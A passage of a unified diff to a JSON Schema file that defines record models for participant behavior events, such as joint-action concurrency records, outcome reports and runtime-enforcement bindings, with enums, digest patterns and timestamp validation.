{ "items": { "minLength": 1, "type": "string" }, - "minItems": 1, - "title": "Limitation Refs", + "title": "Evidence Refs", "type": "array" }, - "mixed_control_policy_ref": { - "minLength": 1, - "title": "Mixed Control Policy Ref", - "type": "string" - }, - "occurrence_revision": { - "minimum": 1, - "title": "Occurrence Revision", - "type": "integer" + "exact_concurrency_claim": { + "default": false, + "title": "Exact Concurrency Claim", + "type": "boolean" }, - "policy_revision": { + "extension_policy": { "minLength": 1, - "title": "Policy Revision", + "title": "Extension Policy", "type": "string" }, - "reason_code": { + "fairness_policy_ref": { "anyOf": [ { "minLength": 1, @@ -6671,9 +7931,46 @@ } ], "default": null, - "title": "Reason Code" + "title": "Fairness Policy Ref" }, - "reason_ref": { + "granular_markings": { + "additionalProperties": { + "items": { + "minLength": 1, + "type": "string" + }, + "type": "array" + }, + "propertyNames": { + "minLength": 1 + }, + "title": "Granular Markings", + "type": "object" + }, + "ingested_at": { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Ingested At", + "type": "string" + }, + "isolation_guarantee": { + "enum": [ + "none", + "serializable", + "snapshot", + "causal", + "unsupported" + ], + "title": "Isolation Guarantee", + "type": "string" + }, + "joint_action_set_id": { + "minLength": 1, + "title": "Joint Action Set Id", + "type": "string" + }, + "logical_order_ref": { "anyOf": [ { "minLength": 1, @@ -6684,178 +7981,215 @@ } ], "default": null, - "title": "Reason Ref" + "title": "Logical Order Ref" }, - "valid_from_order": { - "minimum": 0, - "title": "Valid From Order", - "type": "integer" + "marking_definition_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Marking Definition Refs", + "type": "array" }, - "valid_until_order": { - "minimum": 0, - "title": "Valid Until Order", - "type": "integer" - } - }, - "required": [ - "declaration_ref", - "controller_ref", - "controller_state_ref", - "authority_basis_refs", - "controlled_scope_refs", - "behavior_specification_ref", - "mixed_control_policy_ref", - "policy_revision", - "expected_state_revision", - "effective_order", - "valid_from_order", - "valid_until_order", - "occurrence_revision", - "disposition", - "limitation_refs", - "kind", - "affected_target_kind", - "affected_occurrence_ref", - "affected_revision", - "intervention_ref" - ], - "title": "ParticipantInterventionOccurrenceModel", - "type": "object" - }, - "ParticipantJointActionAccessSetModel": { - "additionalProperties": false, - "description": "Read/write footprint for one member event in a joint action record.", - "properties": { - "evidence_stream_refs": { + "markings": { "items": { "minLength": 1, "type": "string" }, - "title": "Evidence Stream Refs", + "title": "Markings", "type": "array" }, - "exclusive_resource_refs": { + "member_event_refs": { "items": { "minLength": 1, "type": "string" }, - "title": "Exclusive Resource Refs", + "minItems": 1, + "title": "Member Event Refs", "type": "array" }, - "member_event_ref": { + "object_marking_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Object Marking Refs", + "type": "array" + }, + "occurred_at": { + "format": "date-time", "minLength": 1, - "title": "Member Event Ref", + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Occurred At", "type": "string" }, - "shared_state_read_refs": { + "ordering_basis": { + "enum": [ + "total_order", + "partial_order", + "simultaneous", + "serialized_backend_order", + "simulation_tick", + "control_plane_order", + "logical_clock", + "vector_clock", + "wall_clock_only", + "unknown", + "unsupported" + ], + "title": "Ordering Basis", + "type": "string" + }, + "participant_address": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Participant Address" + }, + "participant_observation_refs": { "items": { "minLength": 1, "type": "string" }, - "title": "Shared State Read Refs", + "title": "Participant Observation Refs", "type": "array" }, - "shared_state_write_refs": { + "predecessor_event_refs": { "items": { "minLength": 1, "type": "string" }, - "title": "Shared State Write Refs", + "title": "Predecessor Event Refs", "type": "array" }, - "visibility_effect_refs": { + "producer_ref": { + "minLength": 1, + "title": "Producer Ref", + "type": "string" + }, + "provenance_refs": { "items": { "minLength": 1, "type": "string" }, - "title": "Visibility Effect Refs", + "title": "Provenance Refs", "type": "array" - } - }, - "required": [ - "member_event_ref" - ], - "title": "ParticipantJointActionAccessSetModel", - "type": "object" - }, - "ParticipantJointActionRecordModel": { - "additionalProperties": false, - "description": "RUN-308 joint action / concurrency record over behavior events.", - "properties": { - "access_sets": { + }, + "raw_data_integrity": { + "anyOf": [ + { + "$ref": "#/$defs/RawDataIntegrityModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "realized_order": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Realized Order", + "type": "array" + }, + "recorded_at": { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Recorded At", + "type": "string" + }, + "redaction_policy_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Redaction Policy Ref" + }, + "retry_limit": { + "anyOf": [ + { + "minimum": 0, + "type": "integer" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Retry Limit" + }, + "rollback_event_refs": { "items": { - "$ref": "#/$defs/ParticipantJointActionAccessSetModel" + "minLength": 1, + "type": "string" }, - "minItems": 1, - "title": "Access Sets", + "title": "Rollback Event Refs", "type": "array" }, - "actor_ref": { - "minLength": 1, - "title": "Actor Ref", - "type": "string" - }, - "atomicity_scope": { - "enum": [ - "single_object", - "multi_object", - "coordination_interval", - "unsupported" - ], - "title": "Atomicity Scope", - "type": "string" - }, - "authorization_scope": { + "schema_name": { "minLength": 1, - "title": "Authorization Scope", + "title": "Schema Name", "type": "string" }, - "clock_authority": { + "schema_version": { "minLength": 1, - "title": "Clock Authority", + "title": "Schema Version", "type": "string" }, - "confidence": { + "sequence_number": { "anyOf": [ { - "maximum": 1, "minimum": 0, - "type": "number" + "type": "integer" }, { "type": "null" } ], "default": null, - "title": "Confidence" + "title": "Sequence Number" }, - "conflict_class": { - "enum": [ - "none", - "read_write", - "write_write", - "unsupported" + "simultaneity_group_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } ], - "title": "Conflict Class", - "type": "string" + "default": null, + "title": "Simultaneity Group Ref" }, - "conflict_policy": { - "enum": [ - "none", - "coordinate", - "serialize", - "reject", - "retry", - "withhold", - "merge", - "rollback", - "disclose_weak_guarantee", - "unsupported" + "source_pipeline": { + "anyOf": [ + { + "$ref": "#/$defs/SourcePipelineModel" + }, + { + "type": "null" + } ], - "title": "Conflict Policy", - "type": "string" + "default": null }, - "episode_id": { + "source_raw_ref": { "anyOf": [ { "minLength": 1, @@ -6866,12 +8200,25 @@ } ], "default": null, - "title": "Episode Id" + "title": "Source Raw Ref" }, - "event_classification": { + "source_record_ref": { "anyOf": [ { - "$ref": "#/$defs/EventClassificationModel" + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Source Record Ref" + }, + "source_status": { + "anyOf": [ + { + "$ref": "#/$defs/SourceStatusModel" }, { "type": "null" @@ -6879,15 +8226,117 @@ ], "default": null }, - "event_id": { - "minLength": 1, - "title": "Event Id", - "type": "string" + "source_system_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Source System Ref" }, - "event_type": { - "minLength": 1, - "title": "Event Type", - "type": "string" + "temporal_context": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Temporal Context" + }, + "time_management_context_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Time Management Context Ref" + }, + "timeout_policy_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Timeout Policy Ref" + }, + "unsupported_disclosure": { + "default": false, + "title": "Unsupported Disclosure", + "type": "boolean" + } + }, + "required": [ + "event_id", + "schema_name", + "schema_version", + "event_type", + "extension_policy", + "occurred_at", + "recorded_at", + "ingested_at", + "clock_authority", + "ordering_basis", + "actor_ref", + "producer_ref", + "authorization_scope", + "joint_action_set_id", + "member_event_refs", + "access_sets", + "conflict_class", + "conflict_policy", + "isolation_guarantee", + "atomicity_scope" + ], + "title": "ParticipantJointActionRecordModel", + "type": "object" + }, + "ParticipantLifecycleOperationState": { + "description": "RUN-306 operation states for execution-attempt records.", + "enum": [ + "submitted", + "acknowledged", + "running", + "blocked", + "completed", + "partial", + "failed", + "timed_out", + "cancelled", + "unknown", + "unsupported" + ], + "title": "ParticipantLifecycleOperationState", + "type": "string" + }, + "ParticipantObservationDetailsModel": { + "additionalProperties": false, + "properties": { + "disclosed_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Disclosed Refs", + "type": "array" }, "evidence_refs": { "items": { @@ -6897,349 +8346,445 @@ "title": "Evidence Refs", "type": "array" }, - "exact_concurrency_claim": { - "default": false, - "title": "Exact Concurrency Claim", - "type": "boolean" + "visible_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Visible Refs", + "type": "array" + } + }, + "title": "ParticipantObservationDetailsModel", + "type": "object" + }, + "ParticipantObservationStatus": { + "description": "Terminal interpretation of a participant observation event.", + "enum": [ + "terminal", + "orphaned_action" + ], + "title": "ParticipantObservationStatus", + "type": "string" + }, + "ParticipantOpacityRuntimeEnforcementBindingModel": { + "additionalProperties": false, + "description": "Safe finite runtime-enforcement binding owned by an API-423 decision.", + "properties": { + "assurance_axis": { + "const": "runtime-enforcement", + "title": "Assurance Axis", + "type": "string" }, - "extension_policy": { + "carrier_digest": { "minLength": 1, - "title": "Extension Policy", + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Carrier Digest", "type": "string" }, - "fairness_policy_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Fairness Policy Ref" + "carrier_ref": { + "minLength": 1, + "title": "Carrier Ref", + "type": "string" }, - "granular_markings": { - "additionalProperties": { - "items": { - "minLength": 1, - "type": "string" - }, - "type": "array" - }, - "propertyNames": { - "minLength": 1 - }, - "title": "Granular Markings", - "type": "object" + "claim": { + "$ref": "#/$defs/BehavioralClaimBindingModel" }, - "ingested_at": { - "format": "date-time", + "enforcement_rule_digest": { "minLength": 1, - "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", - "title": "Ingested At", + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Enforcement Rule Digest", "type": "string" }, - "isolation_guarantee": { - "enum": [ - "none", - "serializable", - "snapshot", - "causal", - "unsupported" - ], - "title": "Isolation Guarantee", + "enforcement_rule_ref": { + "minLength": 1, + "title": "Enforcement Rule Ref", "type": "string" }, - "joint_action_set_id": { + "enforcement_rule_revision": { "minLength": 1, - "title": "Joint Action Set Id", + "title": "Enforcement Rule Revision", "type": "string" }, - "logical_order_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Logical Order Ref" - }, - "marking_definition_refs": { + "evidence_refs": { "items": { "minLength": 1, "type": "string" }, - "title": "Marking Definition Refs", + "minItems": 1, + "title": "Evidence Refs", "type": "array" }, - "markings": { + "explicit_non_claims": { "items": { "minLength": 1, "type": "string" }, - "title": "Markings", + "minItems": 1, + "title": "Explicit Non Claims", "type": "array" }, - "member_event_refs": { + "limitations": { "items": { "minLength": 1, "type": "string" }, "minItems": 1, - "title": "Member Event Refs", + "title": "Limitations", "type": "array" }, - "object_marking_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Object Marking Refs", - "type": "array" + "materializer_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Materializer Digest", + "type": "string" }, - "occurred_at": { - "format": "date-time", + "materializer_ref": { "minLength": 1, - "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", - "title": "Occurred At", + "title": "Materializer Ref", "type": "string" }, - "ordering_basis": { - "enum": [ - "total_order", - "partial_order", - "simultaneous", - "serialized_backend_order", - "simulation_tick", - "control_plane_order", - "logical_clock", - "vector_clock", - "wall_clock_only", - "unknown", - "unsupported" - ], - "title": "Ordering Basis", + "materializer_revision": { + "minLength": 1, + "title": "Materializer Revision", "type": "string" }, - "participant_address": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Participant Address" + "memory_ref": { + "minLength": 1, + "title": "Memory Ref", + "type": "string" }, - "participant_observation_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Participant Observation Refs", - "type": "array" + "memory_revision": { + "minLength": 1, + "title": "Memory Revision", + "type": "string" }, - "predecessor_event_refs": { + "observation_inventory_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Observation Inventory Digest", + "type": "string" + }, + "observation_inventory_ref": { + "minLength": 1, + "title": "Observation Inventory Ref", + "type": "string" + }, + "observation_inventory_revision": { + "minLength": 1, + "title": "Observation Inventory Revision", + "type": "string" + }, + "predicate_ref": { + "minLength": 1, + "title": "Predicate Ref", + "type": "string" + }, + "predicate_revision": { + "minLength": 1, + "title": "Predicate Revision", + "type": "string" + }, + "profile_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Profile Digest", + "type": "string" + }, + "profile_id": { + "minLength": 1, + "title": "Profile Id", + "type": "string" + }, + "profile_revision": { + "minLength": 1, + "title": "Profile Revision", + "type": "string" + }, + "relation_id": { + "const": "participant-predicate-opacity", + "title": "Relation Id", + "type": "string" + }, + "release_ref": { + "minLength": 1, + "title": "Release Ref", + "type": "string" + }, + "release_revision": { + "minLength": 1, + "title": "Release Revision", + "type": "string" + }, + "state_cut_ref": { + "minLength": 1, + "title": "State Cut Ref", + "type": "string" + }, + "state_cut_revision": { + "minLength": 1, + "title": "State Cut Revision", + "type": "string" + }, + "taxonomy_id": { + "const": "raes-behavioral-relations", + "title": "Taxonomy Id", + "type": "string" + }, + "taxonomy_revision": { + "minLength": 1, + "title": "Taxonomy Revision", + "type": "string" + } + }, + "required": [ + "taxonomy_id", + "taxonomy_revision", + "relation_id", + "profile_id", + "profile_revision", + "profile_digest", + "predicate_ref", + "predicate_revision", + "carrier_ref", + "carrier_digest", + "materializer_ref", + "materializer_revision", + "materializer_digest", + "observation_inventory_ref", + "observation_inventory_revision", + "observation_inventory_digest", + "enforcement_rule_ref", + "enforcement_rule_revision", + "enforcement_rule_digest", + "state_cut_ref", + "state_cut_revision", + "memory_ref", + "memory_revision", + "release_ref", + "release_revision", + "assurance_axis", + "claim", + "evidence_refs", + "limitations", + "explicit_non_claims" + ], + "title": "ParticipantOpacityRuntimeEnforcementBindingModel", + "type": "object" + }, + "ParticipantOutcomeInterpretationRecordModel": { + "additionalProperties": false, + "properties": { + "diagnostics": { "items": { "minLength": 1, "type": "string" }, - "title": "Predecessor Event Refs", + "title": "Diagnostics", "type": "array" }, - "producer_ref": { + "episode_id": { "minLength": 1, - "title": "Producer Ref", + "title": "Episode Id", "type": "string" }, - "provenance_refs": { + "evidence_refs": { "items": { "minLength": 1, "type": "string" }, - "title": "Provenance Refs", + "minItems": 1, + "title": "Evidence Refs", "type": "array" }, - "raw_data_integrity": { - "anyOf": [ - { - "$ref": "#/$defs/RawDataIntegrityModel" - }, - { - "type": "null" - } - ], - "default": null + "interpretation_id": { + "minLength": 1, + "title": "Interpretation Id", + "type": "string" }, - "realized_order": { + "limitations": { "items": { "minLength": 1, "type": "string" }, - "title": "Realized Order", + "minItems": 1, + "title": "Limitations", "type": "array" }, - "recorded_at": { - "format": "date-time", + "observation_point": { "minLength": 1, - "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", - "title": "Recorded At", + "title": "Observation Point", "type": "string" }, - "redaction_policy_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Redaction Policy Ref" + "participant_address": { + "minLength": 1, + "title": "Participant Address", + "type": "string" }, - "retry_limit": { - "anyOf": [ - { - "minimum": 0, - "type": "integer" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Retry Limit" + "rule_address": { + "minLength": 1, + "title": "Rule Address", + "type": "string" }, - "rollback_event_refs": { + "source_bindings": { "items": { - "minLength": 1, - "type": "string" + "$ref": "#/$defs/ParticipantOutcomeSourceRecordModel" }, - "title": "Rollback Event Refs", + "minItems": 1, + "title": "Source Bindings", "type": "array" }, - "schema_name": { + "target_bindings": { + "items": { + "$ref": "#/$defs/ParticipantOutcomeTargetRecordModel" + }, + "minItems": 1, + "title": "Target Bindings", + "type": "array" + } + }, + "required": [ + "interpretation_id", + "rule_address", + "participant_address", + "episode_id", + "observation_point", + "source_bindings", + "target_bindings", + "evidence_refs", + "limitations" + ], + "title": "ParticipantOutcomeInterpretationRecordModel", + "type": "object" + }, + "ParticipantOutcomeObservationRefModel": { + "additionalProperties": false, + "description": "An exact, immutable observation in the participant behavior history.", + "properties": { + "action_instance_id": { "minLength": 1, - "title": "Schema Name", + "title": "Action Instance Id", "type": "string" }, - "schema_version": { + "content_digest": { "minLength": 1, - "title": "Schema Version", + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Content Digest", "type": "string" }, - "sequence_number": { - "anyOf": [ - { - "minimum": 0, - "type": "integer" - }, - { - "type": "null" - } + "observation_point": { + "minLength": 1, + "title": "Observation Point", + "type": "string" + } + }, + "required": [ + "action_instance_id", + "observation_point", + "content_digest" + ], + "title": "ParticipantOutcomeObservationRefModel", + "type": "object" + }, + "ParticipantOutcomeReportStateRelationshipModel": { + "additionalProperties": false, + "description": "Declared relationship between an outcome report and downstream state.", + "properties": { + "relationship_basis": { + "enum": [ + "declared", + "interpretation_rule" ], - "default": null, - "title": "Sequence Number" + "title": "Relationship Basis", + "type": "string" }, - "simultaneity_group_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } + "relationship_kind": { + "enum": [ + "scenario_state", + "workflow_state", + "objective_window", + "evaluation_input" ], - "default": null, - "title": "Simultaneity Group Ref" + "title": "Relationship Kind", + "type": "string" }, - "source_pipeline": { - "anyOf": [ - { - "$ref": "#/$defs/SourcePipelineModel" - }, - { - "type": "null" - } - ], - "default": null + "target_ref": { + "minLength": 1, + "title": "Target Ref", + "type": "string" + } + }, + "required": [ + "relationship_kind", + "target_ref", + "relationship_basis" + ], + "title": "ParticipantOutcomeReportStateRelationshipModel", + "type": "object" + }, + "ParticipantOutcomeReportV2Model": { + "additionalProperties": false, + "description": "Local state at an exact history cut; v1 records are never upgraded implicitly.", + "properties": { + "actor_ref": { + "minLength": 1, + "title": "Actor Ref", + "type": "string" }, - "source_raw_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } + "attainment": { + "enum": [ + "undetermined", + "not_attained", + "partial", + "attained" ], - "default": null, - "title": "Source Raw Ref" + "title": "Attainment", + "type": "string" }, - "source_record_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } - ], - "default": null, - "title": "Source Record Ref" + "authorization_scope": { + "minLength": 1, + "title": "Authorization Scope", + "type": "string" }, - "source_status": { - "anyOf": [ - { - "$ref": "#/$defs/SourceStatusModel" - }, - { - "type": "null" - } - ], - "default": null + "behavior_history_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Behavior History Digest", + "type": "string" }, - "source_system_ref": { - "anyOf": [ - { - "minLength": 1, - "type": "string" - }, - { - "type": "null" - } + "behavior_history_length": { + "minimum": 0, + "title": "Behavior History Length", + "type": "integer" + }, + "category": { + "enum": [ + "task_completion", + "effect_realization" ], - "default": null, - "title": "Source System Ref" + "title": "Category", + "type": "string" }, - "temporal_context": { + "clock_authority": { + "minLength": 1, + "title": "Clock Authority", + "type": "string" + }, + "confidence": { "anyOf": [ { - "minLength": 1, - "type": "string" + "maximum": 1, + "minimum": 0, + "type": "number" }, { "type": "null" } ], "default": null, - "title": "Temporal Context" + "title": "Confidence" }, - "time_management_context_ref": { + "correction_basis": { "anyOf": [ { "minLength": 1, @@ -7250,80 +8795,33 @@ } ], "default": null, - "title": "Time Management Context Ref" + "title": "Correction Basis" }, - "timeout_policy_ref": { + "episode_id": { + "minLength": 1, + "title": "Episode Id", + "type": "string" + }, + "event_classification": { "anyOf": [ { - "minLength": 1, - "type": "string" + "$ref": "#/$defs/EventClassificationModel" }, { "type": "null" } ], - "default": null, - "title": "Timeout Policy Ref" + "default": null }, - "unsupported_disclosure": { - "default": false, - "title": "Unsupported Disclosure", - "type": "boolean" - } - }, - "required": [ - "event_id", - "schema_name", - "schema_version", - "event_type", - "extension_policy", - "occurred_at", - "recorded_at", - "ingested_at", - "clock_authority", - "ordering_basis", - "actor_ref", - "producer_ref", - "authorization_scope", - "joint_action_set_id", - "member_event_refs", - "access_sets", - "conflict_class", - "conflict_policy", - "isolation_guarantee", - "atomicity_scope" - ], - "title": "ParticipantJointActionRecordModel", - "type": "object" - }, - "ParticipantLifecycleOperationState": { - "description": "RUN-306 operation states for execution-attempt records.", - "enum": [ - "submitted", - "acknowledged", - "running", - "blocked", - "completed", - "partial", - "failed", - "timed_out", - "cancelled", - "unknown", - "unsupported" - ], - "title": "ParticipantLifecycleOperationState", - "type": "string" - }, - "ParticipantObservationDetailsModel": { - "additionalProperties": false, - "properties": { - "disclosed_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Disclosed Refs", - "type": "array" + "event_id": { + "minLength": 1, + "title": "Event Id", + "type": "string" + }, + "event_type": { + "const": "participant_outcome_report", + "title": "Event Type", + "type": "string" }, "evidence_refs": { "items": { @@ -7333,315 +8831,362 @@ "title": "Evidence Refs", "type": "array" }, - "visible_refs": { + "excluded_observation_refs": { "items": { "minLength": 1, "type": "string" }, - "title": "Visible Refs", + "title": "Excluded Observation Refs", "type": "array" - } - }, - "title": "ParticipantObservationDetailsModel", - "type": "object" - }, - "ParticipantObservationStatus": { - "description": "Terminal interpretation of a participant observation event.", - "enum": [ - "terminal", - "orphaned_action" - ], - "title": "ParticipantObservationStatus", - "type": "string" - }, - "ParticipantOpacityRuntimeEnforcementBindingModel": { - "additionalProperties": false, - "description": "Safe finite runtime-enforcement binding owned by an API-423 decision.", - "properties": { - "assurance_axis": { - "const": "runtime-enforcement", - "title": "Assurance Axis", - "type": "string" }, - "carrier_digest": { + "extension_policy": { "minLength": 1, - "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", - "title": "Carrier Digest", + "title": "Extension Policy", "type": "string" }, - "carrier_ref": { - "minLength": 1, - "title": "Carrier Ref", + "freshness": { + "const": "current_at_recorded_cut", + "title": "Freshness", "type": "string" }, - "claim": { - "$ref": "#/$defs/BehavioralClaimBindingModel" + "granular_markings": { + "additionalProperties": { + "items": { + "minLength": 1, + "type": "string" + }, + "type": "array" + }, + "propertyNames": { + "minLength": 1 + }, + "title": "Granular Markings", + "type": "object" }, - "enforcement_rule_digest": { + "ingested_at": { + "format": "date-time", "minLength": 1, - "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", - "title": "Enforcement Rule Digest", + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Ingested At", "type": "string" }, - "enforcement_rule_ref": { - "minLength": 1, - "title": "Enforcement Rule Ref", + "interpretation_rule_ref": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Interpretation Rule Ref", "type": "string" }, - "enforcement_rule_revision": { - "minLength": 1, - "title": "Enforcement Rule Revision", + "knowledge": { + "enum": [ + "unknown", + "supported", + "conflicting", + "withheld" + ], + "title": "Knowledge", "type": "string" }, - "evidence_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "minItems": 1, - "title": "Evidence Refs", - "type": "array" + "logical_order_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Logical Order Ref" }, - "explicit_non_claims": { + "marking_definition_refs": { "items": { "minLength": 1, "type": "string" }, - "minItems": 1, - "title": "Explicit Non Claims", + "title": "Marking Definition Refs", "type": "array" }, - "limitations": { + "markings": { "items": { "minLength": 1, "type": "string" }, - "minItems": 1, - "title": "Limitations", - "type": "array" - }, - "materializer_digest": { - "minLength": 1, - "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", - "title": "Materializer Digest", - "type": "string" - }, - "materializer_ref": { - "minLength": 1, - "title": "Materializer Ref", - "type": "string" - }, - "materializer_revision": { - "minLength": 1, - "title": "Materializer Revision", - "type": "string" - }, - "memory_ref": { - "minLength": 1, - "title": "Memory Ref", - "type": "string" - }, - "memory_revision": { - "minLength": 1, - "title": "Memory Revision", - "type": "string" - }, - "observation_inventory_digest": { - "minLength": 1, - "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", - "title": "Observation Inventory Digest", - "type": "string" - }, - "observation_inventory_ref": { - "minLength": 1, - "title": "Observation Inventory Ref", - "type": "string" - }, - "observation_inventory_revision": { - "minLength": 1, - "title": "Observation Inventory Revision", - "type": "string" - }, - "predicate_ref": { - "minLength": 1, - "title": "Predicate Ref", - "type": "string" - }, - "predicate_revision": { - "minLength": 1, - "title": "Predicate Revision", - "type": "string" - }, - "profile_digest": { - "minLength": 1, - "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", - "title": "Profile Digest", - "type": "string" - }, - "profile_id": { - "minLength": 1, - "title": "Profile Id", - "type": "string" - }, - "profile_revision": { - "minLength": 1, - "title": "Profile Revision", - "type": "string" + "title": "Markings", + "type": "array" }, - "relation_id": { - "const": "participant-predicate-opacity", - "title": "Relation Id", - "type": "string" + "object_marking_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Object Marking Refs", + "type": "array" }, - "release_ref": { - "minLength": 1, - "title": "Release Ref", - "type": "string" + "observation_refs": { + "items": { + "$ref": "#/$defs/ParticipantOutcomeObservationRefModel" + }, + "title": "Observation Refs", + "type": "array" }, - "release_revision": { + "occurred_at": { + "format": "date-time", "minLength": 1, - "title": "Release Revision", + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Occurred At", "type": "string" }, - "state_cut_ref": { - "minLength": 1, - "title": "State Cut Ref", + "ordering_basis": { + "enum": [ + "total_order", + "partial_order", + "simultaneous", + "serialized_backend_order", + "simulation_tick", + "control_plane_order", + "logical_clock", + "vector_clock", + "wall_clock_only", + "unknown", + "unsupported" + ], + "title": "Ordering Basis", "type": "string" }, - "state_cut_revision": { + "outcome_id": { "minLength": 1, - "title": "State Cut Revision", + "title": "Outcome Id", "type": "string" }, - "taxonomy_id": { - "const": "raes-behavioral-relations", - "title": "Taxonomy Id", + "participant_address": { + 